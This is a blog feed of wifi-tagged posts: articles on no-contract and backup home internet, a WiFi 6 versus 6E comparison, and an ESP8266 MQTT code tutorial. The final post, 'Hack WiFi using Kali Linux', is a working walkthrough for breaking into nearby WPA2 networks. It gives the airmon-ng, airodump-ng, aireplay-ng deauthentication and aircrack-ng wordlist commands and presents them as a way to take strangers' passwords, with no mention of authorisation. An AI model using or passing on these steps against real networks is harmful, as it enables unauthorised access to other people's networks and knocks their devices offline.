Coder Legion - Recent posts tagged wifi

Flexible Internet Connectivity for Modern Homes and Connected Devices

Sat, 12 Sep 2026 09:18:30 +0000

Reliable internet access has become an essential part of modern life. People use the internet for remote work, online education, entertainment, communication, smart-home devices, and countless everyday activities. As connectivity needs continue to evolve, consumers are also looking for greater flexibility when choosing an internet plan.

One increasingly attractive option is internet service without contract, which can provide users with more freedom compared with traditional long-term agreements. At the same time, wireless technologies and connected devices are creating new ways for households and businesses to stay online.

Why Flexible Internet Service Matters

Traditional internet plans may require customers to commit to a specific provider for an extended period. While these arrangements can sometimes include promotional pricing or bundled services, they may not be suitable for everyone.

A flexible internet plan can be especially useful for renters, travelers, seasonal residents, remote workers, and people who may relocate. Instead of being tied to a long-term agreement, users can select a service that better matches their current circumstances.

Before choosing a plan, consumers should review important details such as monthly pricing, equipment charges, data allowances, expected speeds, and cancellation policies. The Federal Communications Commission's Broadband Facts format, for example, distinguishes whether a broadband plan requires a contract and identifies additional charges and early termination fees.

Benefits of a No-Contract Approach

A no-contract arrangement can offer several practical advantages:

Greater flexibility when circumstances change
Fewer concerns about long-term commitments
Easier switching when a better option becomes available
Useful connectivity for temporary living arrangements
More control over monthly internet expenses

The right choice ultimately depends on location, usage requirements, network availability, and budget.

The Growing Role of Wireless Connectivity

Internet access is no longer limited to traditional wired connections. Wireless broadband technologies can provide connectivity through cellular networks, making them particularly useful in locations where conventional wired infrastructure may be limited.

This is where cellular internet providers and wireless technologies can become relevant. Cellular connectivity can support everything from home internet solutions to connected devices and Internet of Things applications.

IoT systems commonly rely on wireless technologies to transmit information between devices and platforms. Codiant's comprehensive IoT guide explains that cellular networks, Wi-Fi, Bluetooth, and LoRaWAN can all be used for data transmission depending on the application's requirements.

Connectivity for Smart Devices

Smart thermostats, security cameras, wearable devices, connected appliances, and monitoring systems all depend on dependable connectivity. As more devices become connected, internet reliability becomes increasingly important.

For example, a smart-home system may need a consistent connection to communicate with cloud services and allow users to control devices remotely. Similarly, businesses can use connected sensors to monitor equipment, inventory, vehicles, or environmental conditions.

The FCC has also recognized the relationship between 5G connectivity and IoT, noting that 5G can support applications requiring high bandwidth, low latency, reliability, and connections for numerous devices.

Choosing the Right Internet Solution

Selecting an internet service should begin with understanding how and where the connection will be used. A household that primarily browses websites and checks email may have different requirements from a home with multiple streaming devices, security cameras, smart appliances, and people working remotely.

Coverage is another important consideration for wireless internet. The FCC's National Broadband Map allows consumers to examine reported fixed and mobile broadband availability, including different technologies and mobile coverage.

Consider These Factors

When comparing internet options, look at:

Availability: Confirm that the provider offers reliable service at your location.
Speed: Consider the number of people and devices using the connection.
Data limits: Check whether the plan includes unlimited data or usage restrictions.
Contract terms: Determine whether you can cancel or change service without significant penalties.
Equipment: Understand whether a modem, router, or gateway is included.
Network performance: Consider expected latency and reliability for activities such as video calls, gaming, and remote work.

For wireless services, actual performance can vary depending on network conditions, signal strength, congestion, and location.

Looking Ahead: Smarter and More Flexible Connectivity

The future of internet access is likely to involve a combination of wired and wireless technologies. As connected devices become more common, reliable broadband will continue to support smart homes, remote work, digital services, and IoT applications.

At the same time, flexible service models can give consumers more control over how they access the internet. For people who dislike long commitments, no-contract options may provide a practical alternative.

Consumers should compare available plans carefully rather than focusing solely on advertised speed or monthly price. Looking at the complete service terms, coverage, equipment requirements, and expected performance can help identify an option that fits both current and future needs.

FAQs

What is internet service without a contract?
It is an internet plan that does not require the customer to commit to a long-term service agreement.
Are no-contract internet plans reliable?
They can be reliable, but performance depends on the provider, technology, network conditions, and location.
What are cellular internet providers?
They provide internet connectivity through cellular wireless networks, which can be used for mobile or fixed wireless applications.
Is wireless internet suitable for smart homes?
Yes. Wireless connections can support smart-home devices such as cameras, thermostats, security systems, and connected appliances.
How can I check broadband availability?
Consumers in the United States can use the FCC's National Broadband Map to review reported broadband availability and mobile coverage.

Staying Connected: Why a Backup Internet Connection Matters for Modern Homes

Fri, 11 Sep 2026 09:41:11 +0000

A reliable internet connection has become essential for modern households. From remote work and online education to entertainment, smart-home devices, and everyday communication, many important activities now depend on consistent connectivity. However, even dependable internet services can experience unexpected outages caused by equipment failures, network maintenance, severe weather, or local infrastructure issues.

For this reason, having a backup internet connection for home can provide an extra layer of reliability. Instead of being completely disconnected when the primary network goes down, homeowners can switch to an alternative connection and continue essential online activities.

Why a Backup Internet Connection Matters

Internet outages can be more than a minor inconvenience. For someone working remotely, losing connectivity during an important video conference can interrupt productivity. Students may lose access to online classes or assignments, while households may temporarily lose access to connected security cameras and other smart devices.

A secondary connection helps reduce the impact of these disruptions. It does not necessarily have to replace the primary service. Instead, it can remain available specifically for situations when the main connection becomes unavailable.

Supporting Remote Work

Remote workers often rely on cloud-based applications, video meetings, email, file-sharing platforms, and collaboration tools. Even a short outage can interrupt an important task or meeting.

A backup connection can help employees remain online during temporary service interruptions. This can be particularly valuable for people whose work depends heavily on continuous internet access.

Keeping Smart Homes Connected

Modern homes increasingly contain connected devices such as security cameras, smart thermostats, voice assistants, doorbells, and appliances. These devices rely on network connectivity to communicate with applications and cloud platforms.

The broader Internet of Things (IoT) ecosystem depends on reliable communication between connected devices and networks. Understanding the components of Internet of Things can help homeowners recognize why connectivity plays such an important role in today's technology-driven homes.

Cellular Internet as a Backup Option

Cellular internet is one option homeowners can consider when creating a secondary connection. Rather than depending entirely on cable, fiber, or another fixed-line service, cellular internet uses available mobile networks to provide connectivity.

When researching cellular internet providers, users should consider factors such as network coverage, data allowances, equipment requirements, speeds, and overall reliability in their area.

Cellular connectivity can be particularly useful when the primary internet service and the backup service rely on different network infrastructures. This can reduce the possibility of both connections being affected by the same local problem.

How to Choose a Backup Internet Solution

Not every household has identical connectivity requirements. A good backup solution should match the home's internet usage and the activities that need to remain operational during an outage.

Check Network Coverage

Coverage is one of the most important factors when considering cellular internet. A backup service is only useful if the alternative network provides a usable signal at your location.

Homeowners should check available network coverage before selecting a service and consider how signal strength may vary inside the property.

Consider Data Requirements

Different households have different data needs. Someone who only needs emergency access for email and basic browsing may require considerably less data than a family that uses video conferencing, streaming, cloud applications, and connected security devices.

Estimating how much data would be needed during an outage can help users choose a backup plan that is practical without paying for unnecessary capacity.

Evaluate Equipment and Setup

The backup connection should be convenient to activate when needed. Depending on the solution, users may need a cellular router, hotspot, modem, or compatible networking equipment.

It is also useful to understand how devices will connect to the secondary network. Some networking setups can automatically switch connections, while others may require users to change networks manually.

Building More Resilient Home Connectivity

Internet resilience is becoming increasingly important as households depend on more online services. A backup connection can provide peace of mind by giving homeowners another way to access the internet when their primary service fails.

For example, a household might use a wired broadband service as its primary connection and maintain a cellular connection as an emergency alternative. During a service interruption, the cellular network can provide temporary connectivity until the main service is restored.

Homeowners can also consult resources such as the FCC National Broadband Map to research broadband availability and technologies in eligible U.S. locations. This can be useful when comparing available connectivity options.

The Future of Connected Homes

As smart-home technology continues to develop, reliable connectivity will become even more important. Connected cameras, sensors, appliances, entertainment systems, and home-management devices all depend on networks to exchange information.

A backup connection can therefore be viewed as more than an emergency internet option. It can be part of a broader strategy for maintaining access to essential digital services.

For households that rely heavily on the internet, having an alternative connection can make it easier to continue working, studying, communicating, and managing connected devices during unexpected disruptions.

Conclusion

Internet access is now an important part of everyday home life. While primary internet services are generally dependable, outages can still happen without warning.

A backup internet connection for home can provide an additional layer of connectivity when the main service becomes unavailable. Cellular internet is one practical option, particularly when it uses a separate network from the primary provider.

By evaluating coverage, data requirements, equipment, and setup, homeowners can create a more resilient internet setup. As homes become increasingly dependent on connected technology, preparing for unexpected outages can help keep essential activities running smoothly.

Frequently Asked Questions

1. What is a backup internet connection?

A backup internet connection is a secondary internet service used when the primary connection becomes unavailable.

2. Can cellular internet be used as home backup?

Yes. Cellular internet can provide an alternative connection when the primary home internet service experiences an outage.

3. Why should I have a separate backup network?

Using a different network can reduce the risk of both your primary and backup connections being affected by the same service interruption.

4. How much backup data do I need?

It depends on your usage. Basic browsing and email require less data than video conferencing, streaming, cloud applications, and smart-home services.

5. Is backup internet useful for remote workers?

Yes. A secondary connection can help remote workers stay connected to meetings, email, cloud applications, and other work resources during primary internet outages.

WiFi 6 vs 6E: Is the Upgrade Actually Worth It?

Fri, 12 Jun 2026 06:25:01 +0000

You upgraded to a WiFi 6 router six months ago. Now, every tech headline promotes WiFi 6E as the clear next step. This leaves you wondering if you've already fallen behind or if someone is trying to sell you another $300 router you don't need. That tension is real, and the answer isn't just "newer is better."

What Even Is WiFi 6E — and Why Does the "E" Matter?

WiFi 6 and WiFi 6E use the same basic technology, which is the 802.11ax standard. However, the "E" stands for Extended. This small letter opens up access to a new radio frequency band: 6 GHz.

WiFi 6 works on the 2.4 GHz and 5 GHz bands. This spectrum has been used by routers, baby monitors, Bluetooth devices, and microwaves for more than twenty years. WiFi 6E introduces the 6 GHz band as well. At its launch, this segment of the spectrum was nearly empty.

Think of it this way: WiFi 6 is like a freshly resurfaced highway, but it's still the same road everyone else is using. WiFi 6E offers a completely new expressway beside it, with fewer cars, no traffic, and higher speed limits.

That's the clearest distinction in the WiFi 6 vs 6E conversation. Same engine, completely different road.

The 6 GHz Band: What Makes It Different

The 6 GHz band that came with WiFi 6E greatly increased the amount of wireless spectrum. In the US, the FCC made 1,200 MHz of new spectrum available. This is much more than the 70 to 500 MHz found in the 5 GHz band, depending on the region.

What that means practically:

More non-overlapping channels. WiFi 6E supports up to 7 non-overlapping channels that are 160 MHz wide. With 5 GHz WiFi 6, you might manage two or three before channels begin interfering with each other. In crowded apartment buildings or office settings, where each unit has its own router, this is very important.
Less interference, less congestion. The 6 GHz band is reserved for WiFi 6E and WiFi 7 devices. Older phones, laptops, and smart home gadgets cannot use it. This keeps the band clean by design.
Lower latency in real-world conditions. Since the 6 GHz band does not compete for airtime like 5 GHz does, you experience more consistent latency. This consistency shows not only in speed tests but also during video calls, cloud gaming, and VR applications, where jitter can impact your experience.

The tradeoff is that the 6 GHz band has a shorter range compared to the 5 GHz band. Higher frequencies lose energy more quickly when passing through walls and floors. You get more bandwidth when you are close, but it doesn't reach as far into a large home without extra access points.

WiFi 6 vs 6E: Side-by-Side Breakdown

Both WiFi 6 and WiFi 6E are based on the same standard, 802.11ax. This means they use the same technology. However, their differences become clear when you look at how each one uses that standard.
WiFi 6 works on the well-known 2.4 GHz and 5 GHz bands. In contrast, WiFi 6E introduces a new 6 GHz band in addition to those two. This expansion provides it with much more bandwidth.
On paper, the maximum theoretical speeds for both are about 9.6 Gbps. However, WiFi 6E can reach that speed for each band. This means the 6 GHz band can theoretically achieve that speed without sharing it with older devices.
The 6 GHz band also provides much more availability for 160 MHz channels. WiFi 6 can use only 1 to 2 of these wide channels, and they often get crowded. WiFi 6E opens up to 7 clean channels, which is a big advantage for high-bandwidth tasks.
This difference affects interference levels. WiFi 6 operates in crowded bands with older devices, smart home gadgets, and nearby networks, leading to moderate to high interference. On the other hand, the 6 GHz band in WiFi 6E acts like a new, open highway with very low interference.
However, there is a tradeoff with range. The 6 GHz band has a shorter range than the 5 GHz band, so WiFi 6E is better for close-range, high-performance use rather than providing coverage throughout a larger home with thick walls.
Device compatibility favors WiFi 6 right now. It has broad support across nearly all modern devices. WiFi 6E support is growing but mostly limited to devices released in 2022 and later.
Finally, the cost of routers shows this difference. WiFi 6 routers range from $100 to $250, while WiFi 6E devices usually start at $200 and can go over $500 for high-end models.

The maximum theoretical speeds are the same. However, that number can be misleading in marketing. The real difference appears in consistency, how well systems handle congestion, and latency when under load.

Who Actually Benefits From WiFi 6E Right Now?

This is where honest advice matters more than spec comparisons.

WiFi 6E makes a noticeable difference if you:

Live in a dense urban environment (apartment building, condo, co-working space) where the 5 GHz band is saturated with competing networks.
Have multiple people in the same home doing bandwidth-heavy tasks simultaneously, 4K streaming, video conferencing, and gaming at the same time
Use AR/VR headsets or cloud gaming platforms where single-digit millisecond latency differences actually matter.
You are building a new network from scratch, and most of your devices are from 2022 or newer.
Run a small office or home lab where consistent wireless throughput is critical to productivity.

WiFi 6E is probably not worth the upgrade cost if you:

Already have a well-performing WiFi 6 setup, and your devices are mostly older.
I live in a house where 5 GHz performance is already clean and uncongested.
If you have an internet plan under 500 Mbps, your ISP is the bottleneck, not your WiFi band.
Mostly use smartphones, tablets, or laptops from 2020 or earlier that can't connect to 6 GHz anyway.

The device ecosystem is important to consider. A WiFi 6E router is only as helpful as the devices that connect to it. If your phone, laptop, and smart TV cannot use the 6 GHz band, you're paying for spectrum that you cannot access.

The Device Compatibility Problem

As of 2024, support for WiFi 6E clients has grown significantly, but it's still not widespread. Most flagship Android phones from Samsung, Google, and OnePlus have supported 6 GHz since 2021 and 2022. Apple's iPhone 15 Pro was the first iPhone to support WiFi 6E. Most current MacBooks, high-end Windows laptops, and newer gaming consoles either support it or are heading that way.

However, mid-range phones, budget laptops, IoT devices, smart home hardware, and older machines are still using 5 GHz or even 2.4 GHz. In a home with a mix of old and new devices, a WiFi 6E router can still manage everything. The older devices just connect at 5 GHz, the same as before. The 6 GHz band remains unused for them.

The more useful question isn't "Does my router support 6E?" It's "how many of my devices can actually use it?"

WiFi 7 Is Already Here — Does That Change the Calculation?

Worth mentioning, WiFi 7 (802.11be) routers started shipping in late 2023 and are now available from most major manufacturers. WiFi 7 also uses the 6 GHz band, adds Multi-Link Operation (MLO) for simultaneous multi-band connections, and pushes theoretical maximums even higher.

If you're using WiFi 5 or older and thinking about refreshing your network, it's a good idea to check WiFi 7 options before deciding on 6E. Prices are decreasing as the standard matures. WiFi 6E may not last as long as WiFi 6 did, depending on how quickly support for WiFi 7 devices grows.

That said, WiFi 7 client devices are still in their early stages. If your budget is $200 to $250 and you want reliable performance for the future, WiFi 6E is a great choice.

Conclusion

The question of WiFi 6 vs 6E does not have one clear answer. It really depends on the situation. WiFi 6E is a real technical improvement, not just a new name. The 6 GHz band provides measurable benefits in crowded areas and for applications sensitive to delays. However, if your current setup is working well, your devices are older, or your internet plan limits speeds, upgrading may not always make sense.

The best approach is to review what you have before purchasing anything new. Look at your devices, your ISP speeds, and any issues you’re facing. If interference and congestion are your troubles, 6E can help. If your WiFi already feels fast and reliable, spending $300 might not solve a problem you don't have.

Frequently Asked Questions

1. Is WiFi 6E backward-compatible with older devices?

Yes. A WiFi 6E router broadcasts on the 2.4 GHz and 5 GHz bands, so older devices connect normally. They just can't access the 6 GHz band. Nothing breaks; some devices simply don't benefit from the upgrade.

2. Does WiFi 6E improve range compared to WiFi 6?

No, it actually reduces range on the 6 GHz band. Higher frequencies weaken faster through walls and obstacles. You gain speed and bandwidth closer to the router, but the 6 GHz signal doesn't travel as far as the 5 GHz signal. In large homes, mesh systems help compensate.

3. What's the real-world speed difference between WiFi 6 and WiFi 6E?

On a clear network with a capable device, 6 GHz connections can maintain higher speeds with lower latency due to less interference and wider channels. In crowded areas, the difference is significant. On a quiet rural home network, you may hardly notice a difference.

4. Which phones and laptops support WiFi 6E?

Most flagship Android phones from 2021 onwards, such as the Samsung Galaxy S21+, Pixel 6+, and many recent Windows laptops and MacBooks support WiFi 6E. Check your device specifications under wireless connectivity for the exact bands supported.

5. Should I wait for WiFi 7 instead of buying WiFi 6E now?

If you're upgrading from WiFi 5 or older, it's a good idea to compare current prices for WiFi 7 routers; they’ve dropped a lot. For most home users in 2024–2025, either option is solid. WiFi 6E is reliable and widely supported. WiFi 7 offers more future potential, but it has fewer compatible devices right now.

How to Set Up MQTT With ESP8266?

Tue, 21 Apr 2026 21:12:45 +0000

Hello, I'm Ganesh. I'm building git-lrc, an AI code reviewer that runs on every commit. It is free, unlimited, and source-available on Github. Star Us to help devs discover the project. Do give it a try and share your feedback for improving the product.

In this article, I will be demonstrating how to use MQTT with a NodeMCUv2 (ESP8266) board.

What is MQTT?

MQTT is a lightweight messaging protocol for IoT devices.

It is a publish-subscribe protocol, which means that devices can publish messages to a topic and other devices can subscribe to that topic to receive messages.

Why is MQTT needed?

As the ESP8266 is a low-cost WiFi microcontroller, it can connect to a WiFi network, and it can transmit data wirelessly.

For sending data from the ESP8266 to the cloud, we need to use the MQTT protocol.

Integrate MQTT with ESP8266

Let's start with setting up mqtt with esp8266.

We use PubSubClient library for mqtt with esp8266.

Add this in platformio.ini file.

[env:nodemcuv2]
platform = espressif8266
board = nodemcuv2
framework = arduino
upload_speed = 115200
monitor_speed = 115200
lib_deps = 
    knolleary/PubSubClient @ ^2.8

Here is the simple example of MQTT with ESP8266.

#include <Arduino.h>
#include <WiFi.h>
#include <PubSubClient.h> // <-- Added MQTT library

// --- 1. WiFi Credentials ---
const char* ssid = "Add your wifi name"; 
// !! YOU MUST CHANGE THIS to your WiFi password !!
const char* password = "Add your wifi password"; 

// --- 2. MQTT Credentials ---
const char* mqtt_server = "Add your mqtt server";
const int   mqtt_port = 1883;
const char* mqtt_user = "Add your mqtt username";
const char* mqtt_pass = "Add your mqtt password";
// This is the topic we will listen to
const char* mqtt_topic_to_subscribe = "nodemcu/messages";

// --- 3. MQTT Client Objects ---
WiFiClient espClient;
PubSubClient client(espClient);


// --- 4. Function to handle incoming MQTT messages ---
void callback(char* topic, byte* payload, unsigned int length) {
    Serial.print("Message arrived [");
    Serial.print(topic);
    Serial.print("] ");

    // Print the message payload
    for (int i = 0; i < length; i++) {
        Serial.print((char)payload[i]);
    }
    Serial.println();
}

// --- 5. Function to connect to MQTT ---
void reconnect() {
    // Loop until we're reconnected
    while (!client.connected()) {
        Serial.print("Attempting MQTT connection...");
        // Attempt to connect
        if (client.connect("esp32-client-123", mqtt_user, mqtt_pass)) {
            Serial.println("connected");
            // Subscribe to the topic
            client.subscribe(mqtt_topic_to_subscribe);
            Serial.print("Subscribed to topic: ");
            Serial.println(mqtt_topic_to_subscribe);
        } else {
            Serial.print("failed, rc=");
            Serial.print(client.state());
            Serial.println(" try again in 5 seconds");
            // Wait 5 seconds before retrying
            delay(5000);
        }
    }
}

// --- 6. setup() ---
// This runs once at the beginning
void setup() {
    Serial.begin(115200);
    delay(10);

    Serial.println();
    Serial.print("Connecting to: ");
    Serial.println(ssid);

    // Start connecting to WiFi
    WiFi.begin(ssid, password);

    // Wait for the connection to complete
    while (WiFi.status() != WL_CONNECTED) {
        delay(500);
        Serial.print(".");
    }

    // If we get here, we are connected!
    Serial.println(""); // New line
    Serial.println("WiFi connected!");
    Serial.print("IP address: ");
    Serial.println(WiFi.localIP());

    // --- Add MQTT setup ---
    client.setServer(mqtt_server, mqtt_port);
    client.setCallback(callback); // Set the function to run when a message arrives
}


// --- 7. loop() ---
// This runs over and over, forever
void loop() {
    // Check if connected to MQTT, if not, reconnect
    if (!client.connected()) {
        reconnect();
    }
    // This function processes MQTT messages
    client.loop(); 

    // Small delay to keep things stable
    delay(10); 
}

Output:

Conclusion

Finally, we could set up MQTT with ESP8266.

In the next article, we will use MQTT with PainlessMesh. To send data from one ESP8266 to another ESP8266.

Any feedback or contributors are welcome! It’s online, source-available, and ready for anyone to use.
⭐ Star it on GitHub: https://github.com/HexmosTech/git-lrc

Hack WiFi using Kali Linux

Sat, 10 May 2025 12:45:55 +0000

Today, we will understand how to hack nearby wifi passwords.

Prerequisites:

WiFi should be in range (Of course)
Kali Linux OS (preferred)
Wifi interface(Already present if using laptop)

The tool of kali linux which we'll be using are:

airmon-ng
airodump-ng
aireplay-ng
aircrack-ng

. Let's check out the full steps how to get the password of reachable wifi.

Steps to reproduce:

Go to console & type the following command:

ifconfig

Kill all the current processed & network managers related to wifi interface.

airmon-ng check kill

Start the interface using airmon

airmon-ng start start YOUR_WIFI_INTERFACE_NAME

airmon-ng start start wlan0

To view all the wifi networks around you.

airodump-ng YOUR_INTERFACE_NAME

airodump-ng wlan0mon

airodump-ng is for capturing the packets

After sometime, click on CTRL+C to stop scanning so that we've some wifi networks.
Now, we need to view the clients connected to that network

airodump-ng -c 1 --bssid BSSID_NUMBER/MAC_ADDRESS -w /root YOUR_WIFI_INTERFACE_NAME

airodump-ng -c 1 --bssid 80:35:C1:13:C1:2C -w /root wlan0mon

; -c is for channel number, -w is for the directory you want to save the report file

Now, our approach will be disconnecting all the connected clients from the network and sniff the packets received while connecting back to the same network. When it does so, you'll get something we call WPA handshake in current window.

Open new terminal and disconnect the clients from that network using below code:

aireplay-ng -0 10 -a BSSID_NUMBER/MAC_ADDRESS YOUR_WIFI_INTERFACE_NAME

aireplay-ng -0 10 -a 80:35:C1:13:C1:2C wlan0mon

; aireplay-ng is for injecting the required frames to disconnect clients,
-0 for deauthentication(so that clients will retry to connect),
10 for the deauthentication packets to be send, you can increase or decrease depending upon the time you want to spend on this.

You can now close this window. Capturing the password is now completed from our end. Now, we only need to decrypt the password. To open the passwords file, navigate to the directory you've provided in Step 6 above. You'll get a .cap file. That's our file.
For decrypting the .cap file, we've different techniques. We'll use simple technique using aircrack-ng only. It'll help us crack the password using a wordlist. You can use rockyou.txt wordlist which is most commonly used & is updated on regular basis.

Following is the code to run:

aircrack-ng -a2 -b BSSID_NUMBER/MAC_ADDRESS -w WORDLIST_FILE_LOCATION CAP_FILE_LOCATION

aircrack-ng -a2 -b 80:35:C1:13:C1:2C -w /root/passwords.txt /root/hacking-01.cap

; aircrack-ng is WEP/WPA-PSK key cracking program,
-a2 for WPA2 & -a for WPA network,
-w is the wordlist file location,

If password is successfully cracked, you'll get the confirmation message as "KEY FOUND!"

I've tried to teach how to crack wifi password of your nearby wifi network for free in the simplest manner possible. However, if you're facing any difficulty, do mention it in the comment. Will try to help.

You can follow me on LinkedIn, Instagram or check my latest projects on my GitHub. Also, you can check my portfolio too.

[Keep Hacking] [Thanks]